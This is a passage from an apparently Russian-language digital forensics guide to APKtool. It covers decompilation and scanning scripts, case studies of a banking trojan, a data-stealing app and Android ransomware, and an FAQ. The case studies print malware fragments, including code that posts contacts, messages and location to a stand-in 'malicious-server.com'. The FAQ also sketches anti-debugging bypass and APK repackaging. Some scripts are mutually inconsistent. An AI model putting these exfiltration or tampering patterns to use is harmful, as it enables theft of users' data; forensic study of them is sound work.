APK_FILE="$1"
APP_NAME=$(basename "$APK_FILE" .apk)
OUTPUT_DIR="decompiled_$APP_NAME"

echo "Decompiling $APK_FILE..."
apktool d "$APK_FILE" -o "$OUTPUT_DIR" -f

echo "Extracting AndroidManifest.xml..."
aapt dump xmltree "$APK_FILE" AndroidManifest.xml > "$OUTPUT_DIR/manifest.txt"

echo "Analyzing permissions..."
aapt dump permissions "$APK_FILE" > "$OUTPUT_DIR/permissions.txt"

echo "Searching for strings..."
aapt dump strings "$APK_FILE" > "$OUTPUT_DIR/strings.txt"

echo "Done! Output: $OUTPUT_DIR/"


Автоматический поиск уязвимостей


bash
#!/bin/bash
<h2 id="vulnerability-scan-sh">vulnerability_scan.sh</h2>

APK_FILE="$1"
OUTPUT_DIR="scan_${APK_FILE%.apk}"

echo "Scanning for vulnerabilities..."

<h2 id="poisk-hardcoded-secrets">Поиск hardcoded secrets</h2>
echo "Checking for hardcoded secrets..."
grep -rE "(api_key|secret|password|token)" "$OUTPUT_DIR/smali/" > secrets.txt

<h2 id="poisk-sql-injection">Поиск SQL Injection</h2>
echo "Checking for SQL Injection..."
grep -r "rawQuery\|execSQL" "$OUTPUT_DIR/smali/" > sqli.txt

<h2 id="poisk-nebezopasnogo-hraneniya">Поиск небезопасного хранения</h2>
echo "Checking for insecure storage..."
grep -rE "(SharedPreferences.*password|putString.*secret)" "$OUTPUT_DIR/smali/" > storage.txt

<h2 id="poisk-kriptografii">Поиск криптографии</h2>
echo "Checking for crypto usage..."
grep -rE "(Cipher|AES|DES|RSA)" "$OUTPUT_DIR/smali/" > crypto.txt

echo "Scan complete! Check *.txt files for results."


Batch анализ множества APK


python
#!/usr/bin/env python3
<h2 id="batch-analyze-py">batch_analyze.py</h2>

import os
import subprocess
import json
from datetime import datetime

def analyze_apk(apk_path):
"""Анализ одного APK файла"""

results = {
'file': apk_path,
'timestamp': datetime.now().isoformat()
}

# Получить название пакета
try:
output = subprocess.check_output(['aapt', 'dump', 'badging', apk_path])
package = output.split(b"name='")[1].split(b"'")[0].decode()
results['package'] = package
except:
results['package'] = 'unknown'

# Декомпиляция
output_dir = f"output_{os.path.basename(apk_path).replace('.apk', '')}"
subprocess.run(['apktool', 'd', apk_path, '-o', output_dir, '-f'])

# Анализ разрешений
permissions = subprocess.check_output(['aapt', 'dump', 'permissions', apk_path])
results['permissions'] = permissions.decode().split('\n')

return results

def main():
apk_files = [f for f in os.listdir('.') if f.endswith('.apk')]

all_results = []
for apk_file in apk_files:
print(f"Analyzing {apk_file}...")
results = analyze_apk(apk_file)
all_results.append(results)

# Сохранить результаты
with open('analysis_report.json', 'w') as f:
json.dump(all_results, f, indent=2)

print(f"Analyzed {len(apk_files)} APK files. Report: analysis_report.json")

if __name__ == '__main__':
main()


Интеграция в CI/CD


yaml
<h2 id="gitlab-ci-yml">.gitlab-ci.yml</h2>
stages:
- analyze

apk_analysis:
stage: analyze
image: android-sdk:latest
script:
- apktool d app.apk -o decompiled
- python3 vulnerability_scan.py decompiled/
- tar -czf results.tar.gz decompiled/
artifacts:
paths:
- results.tar.gz
reports:
sast: gl-sast-report.json


---

12. Практические кейсы расследований


Кейс 1: Финансовое мошенничество


**Ситуация:** Пользователь сообщает о несанкционированных денежных переводах через мобильное банковское приложение.

**Ход расследования:**

1. **Декомпиляция приложения:**
bash
apktool d bank_app.apk -o bank_analysis


2. **Анализ разрешений:**
bash
grep -i "sms\|call" bank_analysis/AndroidManifest.xml

Обнаружено: `READ_SMS`, `RECEIVE_SMS`, `READ_CALL_LOG`

3. **Анализ кода:**
smali
<h2 id="naydeno-v-mainactivity-smali">Найдено в MainActivity.smali</h2>
invoke-static {p0}, Lcom/bank/SmsReceiver;->readSms()V
invoke-static {p0}, Lcom/bank/CallMonitor;->intercept()V


4. **Извлечение логики:**
Приложение перехватывает SMS с банковскими кодами и отправляет на сторонний сервер:
java
SmsManager sms = SmsManager.getDefault();
sms.sendTextMessage("+1234567890", null, smsCode, null, null);


5. **Находки:**
- Backend endpoint: `https://malicious-server.com/api/sms`
- Stolen credentials хранятся в SQLite базе
- Автоматическая отправка SMS при получении кода

**Вывод:** Приложение является трояном, ворующим банковские коды.

Кейс 2: Утечка персональных данных


**Ситуация:** Расследование утечки данных пользователей социальной сети.

**Ход расследования:**

1. **Анализ сетевых запросов:**
bash
<h2 id="perehvat-trafika-s-mitmproxy">Перехват трафика с mitmproxy</h2>
<h2 id="obnaruzheny-zaprosy-k">Обнаружены запросы к:</h2>
POST https://legitimate-server.com/api/users/upload


2. **Анализ кода:**
java
// В декомпилированном коде
private void uploadUserData() {
JSONObject data = new JSONObject();
data.put("contacts", getContacts());
data.put("messages", getMessages());
data.put("location", getLocation());

// Отправка на сторонний сервер
httpClient.post("https://malicious-server.com/collect", data);
}


3. **Найденные данные:**
- Контакты пользователей
- История сообщений
- Геолокация в реальном времени
- Список друзей

**Вывод:** Приложение тайно собирает и передает данные третьим лицам.

Кейс 3: Ransomware на Android


**Ситуация:** Устройство заблокировано, требуется анализ вредоносного приложения.

**Ход расследования:**

1. **Анализ манифеста:**
xml
<service android:name="com.ransom.Service">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>


2. **Анализ шифрования:**
smali
<h2 id="naydeno-v-ransomservice-smali">Найдено в RansomService.smali</h2>
invoke-static {v0}, Lcom/ransom/Encryption;->encryptFiles()V

<h2 id="metod-shifrovaniya">Метод шифрования</h2>
.method public static encryptFiles()V
const-string v0, "AES/CBC/PKCS5Padding"
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
.end method


3. **Найденные ключи:**
- Ключ шифрования в SharedPreferences
- Список зашифрованных файлов
- Контактные данные вымогателей

**Вывод:** Успешное восстановление данных благодаря анализу кода.

---

13. Этические и правовые аспекты


Юридические требования


**1. Законность декомпиляции:**
- Уставы различаются по юрисдикциям
- Декомпиляция для анализа безопасности допустима
- Коммерческое использование запрещено

**2. Права пользователей:**
- Пользователь имеет право на анализ программного обеспечения
- Исследование в академических целях допустимо
- Распространение информации о уязвимостях регламентируется

Этические стандарты


**Ответственное раскрытие:**
1. Обнаружение уязвимости
2. Уведомление разработчика
3. Предоставление времени на исправление
4. Public disclosure после фикса

**Не рекомендуется:**
- Использование найденных уязвимостей в злонамеренных целях
- Продажа информации третьим лицам
- Внедрение backdoors в программное обеспечение

Профессиональная ответственность


**В расследованиях:**
- Цепочка доказательств должна быть документально оформлена
- Все действия должны быть задокументированы
- Оригинальные образы не должны изменяться
- Методология должна быть воспроизводимой

---

14. FAQ


1. Какой APKtool лучше всего подходит для начинающих?


**Ответ:** Для начинающих рекомендуется использовать JADX с его графическим интерфейсом. Он предоставляет читаемый Java код и удобную навигацию. APKtool потребует изучения SMALI, но даст больше контроля над процессом декомпиляции.

2. Можно ли декомпилировать APK на 100%?


**Ответ:** Не всегда. APKtool может декомпилировать большинство APK файлов, но:
- Обфусцированный код может быть сложно восстановить
- Некоторые нативные библиотеки (.so файлы) требуют отдельного анализа
- ProGuard и R8 могут значительно усложнить декомпиляцию

3. Как защитить приложение от декомпиляции?


**Ответ:** Рекомендации разработчикам:
- Используйте ProGuard или R8 для обфускации
- Применяйте anti-tampering проверки
- Не храните секретные ключи в коде
- Используйте SSL pinning
- Проверяйте наличие root/отладчика

4. Какие данные можно извлечь из APK?


**Ответ:** Из APK можно извлечь:
- Исходный код (частично)
- Ресурсы (строки, изображения, layouts)
- Структура базы данных
- API endpoints
- Алгоритмы шифрования
- Разрешения и компоненты

5. Законно ли декомпилировать APK для анализа?


**Ответ:** В большинстве юрисдикций декомпиляция для:
- Анализа безопасности - допустима
- Образовательных целей - допустима
- Исследования - допустима
- Обратного инжиниринга - зависит от законодательства
- Коммерческого использования чужого кода - незаконна

6. Можно ли восстановить удаленный код из APK?


**Ответ:** Частично. При декомпиляции теряется:
- Комментарии
- Имена переменных и методов (если обфусцировано)
- Оригинальная структура кода
- Оптимизации компилятора

7. Как анализировать зашифрованные строки?


**Ответ:** Методы деобфускации:
1. Найдите функцию decrypt/decryptString
2. Проанализируйте алгоритм дешифрования
3. Примените функцию к зашифрованным строкам
4. Используйте Frida для динамического перехвата

8. APKtool vs JADX - какой выбрать?


**Ответ:** Используйте оба:
- **APKtool** - для рекомпиляции, патчинга, точного анализа структуры
- **JADX** - для быстрого просмотра кода, поиска уязвимостей, первоначального анализа

9. Как обойти anti-debugging в приложении?


**Ответ:** Методы обхода:
- Использовать Frida для перехвата проверок
- Патчить код в SMALI для отключения проверок
- Использовать эмулятор с настройками для обхода детекции
- Применить Xposed модули

10. Какие APK самые сложные для декомпиляции?


**Ответ:** Наиболее сложные для декомпиляции:
- Приложения с сильной обфускацией (ProGuard, R8)
- Приложения с нативным кодом
- Приложения с custom загрузчиками
- Коммерческие приложения с защитой от анализа

11. Можно ли автоматизировать декомпиляцию множества APK?


**Ответ:** Да, с помощью:
- Python скриптов для batch обработки
- Docker контейнеров с предустановленными инструментами
- CI/CD pipelines для автоматического анализа
- Скриптов bash для массовой декомпиляции

12. Где хранятся пользовательские данные в APK?


**Ответ:** Данные хранятся в:
- `/data/data//databases/` - SQLite базы
- `/data/data//shared_prefs/` - настройки XML
- `/data/data//files/` - файлы
- `assets/` - встроенные данные APK
- `SharedPreferences` в памяти

13. Как извлечь сертификат из APK?


**Ответ:**
bash
<h2 id="izvlechenie-sertifikata">Извлечение сертификата</h2>
unzip -p app.apk META-INF/CERT.RSA | openssl pkcs7 -inform DER -noout -print_certs

<h2 id="ili-s-pomoschyu-jarsigner">Или с помощью jarsigner</h2>
jarsigner -verify -verbose -certs app.apk


14. Можно ли модифицировать APK и переустановить?


**Ответ:** Да, процесс:
1. Декомпиляция: `apktool d app.apk`
2. Модификация кода/ресурсов
3. Рекомпиляция: `apktool b app -o modified.apk`
4. Подпись: `jarsigner` или `apksigner`
5. Установка: `adb install modified.apk`

15. Как защититься от вредоносных APK?


**Ответ:** Рекомендации:
- Не устанавливайте APK из неизвестных источников
- Проверяйте цифровую подпись
- Используйте антивирусное ПО
- Анализируйте разрешения перед установкой
- Регулярно обновляйте систему

---

15. Заключение


APKtool и сопутствующие инструменты предоставляют экспертам цифровой криминалистики мощные возможности для анализа Android-приложений. От декомпиляции и анализа манифеста до исследования исходного кода и выявления уязвимостей - эти инструменты являются незаменимыми в современных расследованиях.

Успешное расследование требует не только знания инструментов, но и понимания структуры Android-приложений, обфускации кода и техник anti-debugging. Постоянное обучение и практика необходимы для эффективной работы в быстро меняющейся среде мобильной безопасности.

Помните о этических и правовых аспектах вашей работы. Всегда соблюдайте законодательство и используйте полученные знания ответственно. Ваша цель - защита пользователей и выявление угроз, а не злоупотребление уязвимостями.

Данное руководство охватывает основы работы с APKtool, но мир мобильной криминалистики гораздо шире. Продолжайте изучать новые инструменты, техники и методологии. В современном цифровом мире навыки анализа мобильных приложений становятся все более критичными для успешного расследования киберпреступлений.

---

---

**⚠️ Дисклеймер:** Статья носит информационно-образовательный характер и не содержит инструкций для совершения противоправных действий.